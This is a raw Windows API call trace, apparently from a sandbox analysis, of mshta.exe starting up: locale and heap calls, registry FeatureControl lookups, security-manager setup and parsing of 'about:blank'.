[0098.868] GetUserDefaultLCID () returned 0x409
[0098.868] GetACP () returned 0x4e4
[0098.868] GetLocaleInfoW (in: Locale=0x400, LCType=0x1014, lpLCData=0x1ceaa8, cchData=41 | out: lpLCData="1") returned 2
[0098.868] _wtoi (_String="1") returned 1
[0098.868] RegCloseKey (hKey=0x0) returned 0x6
[0098.868] GetLocaleInfoW (in: Locale=0x400, LCType=0x13, lpLCData=0x1ceafc, cchData=16 | out: lpLCData="0123456789") returned 11
[0098.868] SystemParametersInfoW (in: uiAction=0x46, uiParam=0x0, pvParam=0x7366b038, fWinIni=0x0 | out: pvParam=0x7366b038) returned 1
[0098.868] SystemParametersInfoW (in: uiAction=0x42, uiParam=0xc, pvParam=0x1ceb70, fWinIni=0x0 | out: pvParam=0x1ceb70) returned 1
[0098.868] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xc0) returned 0x480ee8
[0098.868] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x47b778
[0098.868] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xa4) returned 0x480fb0
[0098.868] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x14) returned 0x473450
[0098.868] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x1c) returned 0x476e60
[0098.869] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x44) returned 0x469208
[0098.869] GetSystemWindowsDirectoryW (in: lpBuffer=0x1ce97c, uSize=0x104 | out: lpBuffer="C:\\Windows") returned 0xa
[0098.869] lstrlenW (lpString="C:\\Windows") returned 10
[0098.869] lstrlenW (lpString="\\WindowsShell.manifest") returned 22
[0098.869] CreateActCtxW (pActCtx=0x1ce958) returned 0x481064
[0098.870] ActivateActCtx (in: hActCtx=0x481064, lpCookie=0x1ce928 | out: hActCtx=0x481064, lpCookie=0x1ce928) returned 1
[0098.870] LoadLibraryW (lpLibFileName="comctl32.dll") returned 0x73a70000
[0098.874] DeactivateActCtx (dwFlags=0x0, ulCookie=0x19fa0001) returned 1
[0098.875] GetProfileIntA (lpAppName="windows", lpKeyName="DragScrollInset", nDefault=11) returned 0xb
[0098.875] GetProfileIntA (lpAppName="windows", lpKeyName="DragScrollDelay", nDefault=50) returned 0x32
[0098.875] GetProfileIntA (lpAppName="windows", lpKeyName="DragDelay", nDefault=200) returned 0xc8
[0098.876] GetProfileIntA (lpAppName="windows", lpKeyName="DragScrollInterval", nDefault=50) returned 0x32
[0098.876] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x1ce588, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\mshta.exe" (normalized: "c:\\windows\\syswow64\\mshta.exe")) returned 0x1d
[0098.876] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1ce790, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\mshta.exe" (normalized: "c:\\windows\\syswow64\\mshta.exe")) returned 0x1d
[0098.876] GetCurrentProcess () returned 0xffffffff
[0098.876] GetModuleBaseNameW (in: hProcess=0xffffffff, hModule=0x0, lpBaseName=0x1ce998, nSize=0x104 | out: lpBaseName="mshta.exe") returned 0x9
[0098.876] PathFindFileNameW (pszPath="C:\\Windows\\SysWOW64\\mshta.exe") returned="mshta.exe"
[0098.876] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x14) returned 0x473470
[0098.877] FindAtomW (lpString="TridentEnableHiRes") returned 0x0
[0098.877] SHGetValueW (in: hkey=0x80000001, pszSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", pszValue="NoFileMenu", pdwType=0x1ce574, pvData=0x1ce580, pcbData=0x1ce57c*=0x4 | out: pdwType=0x1ce574*=0x0, pvData=0x1ce580, pcbData=0x1ce57c*=0x4) returned 0x2
[0098.877] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x1ce4ec | out: phkResult=0x1ce4ec*=0x168) returned 0x0
[0098.877] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x1ce4f0 | out: phkResult=0x1ce4f0*=0x164) returned 0x0
[0098.877] RegOpenKeyExW (in: hKey=0x164, lpSubKey="FEATURE_MANAGE_SCRIPT_CIRCULAR_REFS", ulOptions=0x0, samDesired=0x1, phkResult=0x1ce4ac | out: phkResult=0x1ce4ac*=0x0) returned 0x2
[0098.877] RegOpenKeyExW (in: hKey=0x168, lpSubKey="FEATURE_MANAGE_SCRIPT_CIRCULAR_REFS", ulOptions=0x0, samDesired=0x1, phkResult=0x1ce4ac | out: phkResult=0x1ce4ac*=0x0) returned 0x2
[0098.877] RegCloseKey (hKey=0x0) returned 0x6
[0098.877] RegCloseKey (hKey=0x0) returned 0x6
[0098.877] RegCloseKey (hKey=0x168) returned 0x0
[0098.877] RegCloseKey (hKey=0x164) returned 0x0
[0098.877] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x97c) returned 0x482668
[0098.878] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x480) returned 0x482ff0
[0098.878] MulDiv (nNumber=1073741823, nNumerator=96, nDenominator=1440) returned 71582788
[0098.878] MulDiv (nNumber=1073741823, nNumerator=96, nDenominator=1440) returned 71582788
[0098.878] MulDiv (nNumber=1073741823, nNumerator=96, nDenominator=1440) returned 71582788
[0098.878] MulDiv (nNumber=1073741823, nNumerator=96, nDenominator=1440) returned 71582788
[0098.878] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x50) returned 0x4819e8
[0098.878] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x50) returned 0x481a40
[0098.878] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x50) returned 0x483478
[0098.878] GetCurrentThreadId () returned 0x4e0
[0098.878] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x47b838
[0098.878] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x2c) returned 0x46d7d0
[0098.878] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x80) returned 0x4834d0
[0098.878] RegisterClipboardFormatW (lpszFormat="WM_HTML_GETOBJECT") returned 0xc11a
[0098.878] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x18) returned 0x473490
[0098.880] CoInternetIsFeatureEnabled (FeatureEntry=0xc, dwFlags=0x2) returned 0x1
[0098.880] CoInternetCreateSecurityManager (in: pSP=0x0, ppSM=0x73668cd4, dwReserved=0x0 | out: ppSM=0x73668cd4*=0x483558) returned 0x0
[0098.885] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x64) returned 0x483f30
[0098.888] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x4c) returned 0x483b28
[0098.888] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x28) returned 0x46d128
[0098.888] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x14) returned 0x4734b0
[0098.889] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x44) returned 0x469258
[0098.889] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x44) returned 0x4692a8
[0098.889] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x60) returned 0x483b80
[0098.889] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x64) returned 0x483be8
[0098.889] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x44) returned 0x4692f8
[0098.889] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x60) returned 0x483c58
[0098.889] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xec) returned 0x483fa0
[0098.889] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x44) returned 0x469348
[0098.889] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x44) returned 0x469398
[0098.889] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x44) returned 0x4693e8
[0098.889] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x60) returned 0x483cc0
[0098.889] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x60) returned 0x484098
[0098.889] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x44) returned 0x469438
[0098.889] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x44) returned 0x469488
[0098.889] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x90) returned 0x484100
[0098.889] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x140) returned 0x484198
[0098.889] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x8) returned 0x47bc80
[0098.890] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x28) returned 0x46d158
[0098.890] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x18) returned 0x4734d0
[0098.890] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xd0) returned 0x47c6c0
[0098.890] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x38) returned 0x481a98
[0098.890] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x128) returned 0x4842e0
[0098.890] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x148) returned 0x484410
[0098.890] GetCurrentThreadId () returned 0x4e0
[0098.892] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x5c) returned 0x484560
[0098.892] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x18) returned 0x4734f0
[0098.892] CreateUri (in: pwzURI="about:blank", dwFlags=0x2b80, dwReserved=0x0, ppURI=0x1ce89c | out: ppURI=0x1ce89c*=0x47c0e4) returned 0x0
[0098.893] IUri:GetPropertyDWORD (in: This=0x47c0e4, uriProp=0x11, pdwProperty=0x1ce884, dwFlags=0x0 | out: pdwProperty=0x1ce884*=0x11) returned 0x0
[0098.893] CoInternetCreateSecurityManager (in: pSP=0x0, ppSM=0x482d9c, dwReserved=0x0 | out: ppSM=0x482d9c*=0x4845c8) returned 0x0
[0098.895] IInternetSecurityManager:SetSecuritySite (This=0x4845c8, pSite=0x482da4) returned 0x0
[0098.895] IUnknown:AddRef (This=0x482da4) returned 0x28
[0098.895] IUnknown:QueryInterface (in: This=0x482da4, riid=0x768961d0*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1ce854 | out: ppvObject=0x1ce854*=0x482da8) returned 0x0
[0098.895] IServiceProvider:QueryService (in: This=0x482da8, guidService=0x7689f13c*(Data1=0xf1e50292, Data2=0xa795, Data3=0x4117, Data4=([0]=0x8e, [1]=0x9, [2]=0x2b, [3]=0x56, [4]=0xa, [5]=0x72, [6]=0xac, [7]=0x60)), riid=0x7689f13c*(Data1=0xf1e50292, Data2=0xa795, Data3=0x4117, Data4=([0]=0x8e, [1]=0x9, [2]=0x2b, [3]=0x56, [4]=0xa, [5]=0x72, [6]=0xac, [7]=0x60)), ppvObject=0x4845f0 | out: ppvObject=0x4845f0*=0x0) returned 0x80004002
[0098.895] IServiceProvider:QueryService (in: This=0x482da8, guidService=0x7689f12c*(Data1=0xf164edf1, Data2=0xcc7c, Data3=0x4f0d, Data4=([0]=0x9a, [1]=0x94, [2]=0x34, [3]=0x22, [4]=0x26, [5]=0x25, [6]=0xc3, [7]=0x93)), riid=0x7689f12c*(Data1=0xf164edf1, Data2=0xcc7c, Data3=0x4f0d, Data4=([0]=0x9a, [1]=0x94, [2]=0x34, [3]=0x22, [4]=0x26, [5]=0x25, [6]=0xc3, [7]=0x93)), ppvObject=0x4845ec | out: ppvObject=0x4845ec*=0x0) returned 0x80004002
[0098.895] IServiceProvider:QueryService (in: This=0x482da8, guidService=0x7688c484*(Data1=0x79eac9ee, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), riid=0x7688c484*(Data1=0x79eac9ee, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x4845e8 | out: ppvObject=0x4845e8*=0x0) returned 0x80004002
[0098.895] IUnknown:Release (This=0x482da8) returned 0x0
[0098.895] IInternetSecurityManager:GetSecurityId (in: This=0x4845c8, pwszUrl="about:blank", pbSecurityId=0x1ce8f0, pcbSecurityId=0x1ce8e4*=0x200, dwReserved=0x0 | out: pbSecurityId=0x1ce8f0*=0x61, pcbSecurityId=0x1ce8e4*=0xf) returned 0x0
[0098.936] DllGetClassObject (in: rclsid=0x47fd68*(Data1=0x3050f406, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x1cde70*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1cd528 | out: ppv=0x1cd528*=0x73668c70) returned 0x0
[0098.936] IUnknown:AddRef (This=0x73668c70) returned 0x1
[0098.936] IUnknown:Release (This=0x73668c70) returned 0x1
[0098.936] IUnknown:QueryInterface (in: This=0x73668c70, riid=0x76884430*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1ce0ec | out: ppvObject=0x1ce0ec*=0x73668c70) returned 0x0
[0098.936] IUnknown:Release (This=0x73668c70) returned 0x1
[0098.937] IUnknown:QueryInterface (in: This=0x73668c70, riid=0x768aaadc*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x1ce2ac | out: ppvObject=0x1ce2ac*=0x73668c7c) returned 0x0
[0098.937] IUnknown:Release (This=0x73668c70) returned 0x1
[0098.937] IInternetProtocolInfo:ParseUrl (in: This=0x73668c7c, pwzUrl="about:blank", ParseAction=3, dwParseFlags=0x0, pwzResult=0x4735b0, cchResult=0xc, pcchResult=0x1ce2f4, dwReserved=0x0 | out: pwzResult="about:blank", pcchResult=0x1ce2f4*=0xc) returned 0x0
[0098.937] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x1c) returned 0x481e20
[0098.937] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0098.937] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x481e20 | out: hHeap=0x450000) returned 1
[0098.937] IUnknown:Release (This=0x73668c7c) returned 0x1
[0098.938] DllGetClassObject (in: rclsid=0x47fd68*(Data1=0x3050f406, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x76884430*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1ce1c0 | out: ppv=0x1ce1c0*=0x73668c70) returned 0x0
[0098.938] IUnknown:QueryInterface (in: This=0x73668c70, riid=0x768aaadc*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x1ce2ac | out: ppvObject=0x1ce2ac*=0x73668c7c) returned 0x0
[0098.938] IUnknown:Release (This=0x73668c70) returned 0x1
[0098.938] IInternetProtocolInfo:ParseUrl (in: This=0x73668c7c, pwzUrl="about:blank", ParseAction=17, dwParseFlags=0x0, pwzResult=0x4735b0, cchResult=0xc, pcchResult=0x1ce304, dwReserved=0x0 | out: pwzResult="", pcchResult=0x1ce304*=0x0) returned 0x800c0011
[0098.938] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0098.938] IUnknown:Release (This=0x73668c7c) returned 0x1
[0098.938] IUnknown:Release (This=0x47c0e4) returned 0x2
[0098.938] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0098.938] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf) returned 0x47b880
[0098.938] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x47b8b0
[0098.938] CoInternetCreateSecurityManager (in: pSP=0x0, ppSM=0x1ce8c4, dwReserved=0x0 | out: ppSM=0x1ce8c4*=0x484b28) returned 0x0
[0098.939] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf) returned 0x47b8f8
[0098.939] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x50) returned 0x484a70
[0098.939] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x1cea74 | out: phkResult=0x1cea74*=0x1b8) returned 0x0
[0098.939] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x1cea78 | out: phkResult=0x1cea78*=0x1c0) returned 0x0
[0098.939] RegOpenKeyExW (in: hKey=0x1c0, lpSubKey="FEATURE_DOCUMENT_COMPATIBLE_MODE", ulOptions=0x0, samDesired=0x1, phkResult=0x1cea34 | out: phkResult=0x1cea34*=0x0) returned 0x2
[0098.939] RegOpenKeyExW (in: hKey=0x1b8, lpSubKey="FEATURE_DOCUMENT_COMPATIBLE_MODE", ulOptions=0x0, samDesired=0x1, phkResult=0x1cea34 | out: phkResult=0x1cea34*=0x0) returned 0x2
[0098.939] RegCloseKey (hKey=0x0) returned 0x6
[0098.939] RegCloseKey (hKey=0x0) returned 0x6
[0098.939] RegCloseKey (hKey=0x1b8) returned 0x0
[0098.939] RegCloseKey (hKey=0x1c0) returned 0x0
[0098.940] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x128) returned 0x4899b0
[0098.940] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x4c) returned 0x484b90
[0098.940] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x47b940
[0098.940] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x2000) returned 0x489ae0
[0098.940] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x50) returned 0x484be8
[0098.940] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x484be8 | out: hHeap=0x450000) returned 1
[0098.940] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0098.940] CreateUri (in: pwzURI="about:blank", dwFlags=0x2b80, dwReserved=0x0, ppURI=0x1ce8b8 | out: ppURI=0x1ce8b8*=0x47c0e4) returned 0x0
[0098.941] DllGetClassObject (in: rclsid=0x47fd68*(Data1=0x3050f406, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x76884430*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1ce190 | out: ppv=0x1ce190*=0x73668c70) returned 0x0
[0098.941] IUnknown:QueryInterface (in: This=0x73668c70, riid=0x768aaadc*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x1ce27c | out: ppvObject=0x1ce27c*=0x73668c7c) returned 0x0
[0098.941] IUnknown:Release (This=0x73668c70) returned 0x1
[0098.941] IInternetProtocolInfo:ParseUrl (in: This=0x73668c7c, pwzUrl="about:blank", ParseAction=3, dwParseFlags=0x0, pwzResult=0x4735b0, cchResult=0xc, pcchResult=0x1ce2c4, dwReserved=0x0 | out: pwzResult="about:blank", pcchResult=0x1ce2c4*=0xc) returned 0x0
[0098.941] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x1c) returned 0x481e20
[0098.941] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0098.941] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x481e20 | out: hHeap=0x450000) returned 1
[0098.941] IUnknown:Release (This=0x73668c7c) returned 0x1
[0098.941] DllGetClassObject (in: rclsid=0x47fd68*(Data1=0x3050f406, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x76884430*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1ce190 | out: ppv=0x1ce190*=0x73668c70) returned 0x0
[0098.941] IUnknown:QueryInterface (in: This=0x73668c70, riid=0x768aaadc*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x1ce27c | out: ppvObject=0x1ce27c*=0x73668c7c) returned 0x0
[0098.941] IUnknown:Release (This=0x73668c70) returned 0x1
[0098.941] IInternetProtocolInfo:ParseUrl (in: This=0x73668c7c, pwzUrl="about:blank", ParseAction=17, dwParseFlags=0x0, pwzResult=0x4735b0, cchResult=0xc, pcchResult=0x1ce2d4, dwReserved=0x0 | out: pwzResult="", pcchResult=0x1ce2d4*=0x0) returned 0x800c0011
[0098.941] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0098.941] IUnknown:Release (This=0x73668c7c) returned 0x1
[0098.942] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1
[0098.942] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1
[0098.942] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1
[0098.944] IUnknown:Release (This=0x47c0e4) returned 0x2
[0098.944] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x2c) returned 0x46d808
[0098.944] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x47b970
[0098.944] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x5c) returned 0x484be8
[0098.945] GetDC (hWnd=0x0) returned 0x7010156
[0098.945] GetDeviceCaps (hdc=0x7010156, index=88) returned 96
[0098.945] ReleaseDC (hWnd=0x0, hDC=0x7010156) returned 1
[0098.945] MulDiv (nNumber=100000, nNumerator=96, nDenominator=96) returned 100000
[0098.946] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x1ceb10 | out: phkResult=0x1ceb10*=0x1bc) returned 0x0
[0098.946] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x1ceb14 | out: phkResult=0x1ceb14*=0x1c4) returned 0x0
[0098.946] RegOpenKeyExW (in: hKey=0x1c4, lpSubKey="FEATURE_WEBOC_DOCUMENT_ZOOM", ulOptions=0x0, samDesired=0x1, phkResult=0x1cead0 | out: phkResult=0x1cead0*=0x0) returned 0x2
[0098.946] RegOpenKeyExW (in: hKey=0x1bc, lpSubKey="FEATURE_WEBOC_DOCUMENT_ZOOM", ulOptions=0x0, samDesired=0x1, phkResult=0x1cead0 | out: phkResult=0x1cead0*=0x0) returned 0x2
[0098.946] RegCloseKey (hKey=0x0) returned 0x6
[0098.946] RegCloseKey (hKey=0x0) returned 0x6
[0098.946] RegCloseKey (hKey=0x1bc) returned 0x0
[0098.946] RegCloseKey (hKey=0x1c4) returned 0x0
[0098.946] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x47b9a0
[0098.946] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x44) returned 0x4694d8
[0098.946] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x5c) returned 0x48bae8
[0098.946] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75fe0000
[0098.947] GetProcAddress (hModule=0x75fe0000, lpProcName="InitializeSRWLock") returned 0x77b48456
[0098.947] GetProcAddress (hModule=0x75fe0000, lpProcName="AcquireSRWLockExclusive") returned 0x77b429f1
[0098.947] GetProcAddress (hModule=0x75fe0000, lpProcName="AcquireSRWLockShared") returned 0x77b42560
[0098.947] GetProcAddress (hModule=0x75fe0000, lpProcName="ReleaseSRWLockExclusive") returned 0x77b429ab
[0098.947] GetProcAddress (hModule=0x75fe0000, lpProcName="ReleaseSRWLockShared") returned 0x77b425a9
[0098.947] RtlInitializeConditionVariable () returned 0x48bb1c
[0098.947] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x34) returned 0x484c50
[0098.947] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x34) returned 0x48bb50
[0098.947] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x14) returned 0x4735b0
[0098.948] IUnknown:Release (This=0x73668cb0) returned 0x1
[0098.948] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x28) returned 0x46d1b8
[0098.955] IUnknown_QueryService (in: punk=0x736696a4, guidService=0x732f880c*(Data1=0xd81f90a3, Data2=0x8156, Data3=0x44f7, Data4=([0]=0xad, [1]=0x28, [2]=0x5a, [3]=0xbb, [4]=0x87, [5]=0x0, [6]=0x32, [7]=0x74)), riid=0x732f880c*(Data1=0xd81f90a3, Data2=0x8156, Data3=0x44f7, Data4=([0]=0xad, [1]=0x28, [2]=0x5a, [3]=0xbb, [4]=0x87, [5]=0x0, [6]=0x32, [7]=0x74)), ppvOut=0x4826c0 | out: ppvOut=0x4826c0*=0x0) returned 0x80004005
[0098.955] IUnknown:QueryInterface (in: This=0x736696a4, riid=0x765842d8*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1cf858 | out: ppvObject=0x1cf858*=0x736696b8) returned 0x0
[0098.955] IServiceProvider:QueryService (in: This=0x736696b8, guidService=0x732f880c*(Data1=0xd81f90a3, Data2=0x8156, Data3=0x44f7, Data4=([0]=0xad, [1]=0x28, [2]=0x5a, [3]=0xbb, [4]=0x87, [5]=0x0, [6]=0x32, [7]=0x74)), riid=0x732f880c*(Data1=0xd81f90a3, Data2=0x8156, Data3=0x44f7, Data4=([0]=0xad, [1]=0x28, [2]=0x5a, [3]=0xbb, [4]=0x87, [5]=0x0, [6]=0x32, [7]=0x74)), ppvObject=0x4826c0 | out: ppvObject=0x4826c0*=0x0) returned 0x80004005
[0098.955] IUnknown:Release (This=0x736696b8) returned 0x1
[0098.955] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x34) returned 0x48bb90
[0098.956] IInternetSecurityManager:SetSecuritySite (This=0x4845c8, pSite=0x482da4) returned 0x0
[0098.956] IUnknown:Release (This=0x482da4) returned 0x0
[0098.956] IUnknown:AddRef (This=0x482da4) returned 0x28
[0098.956] IUnknown:QueryInterface (in: This=0x482da4, riid=0x768961d0*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1cf890 | out: ppvObject=0x1cf890*=0x482da8) returned 0x0
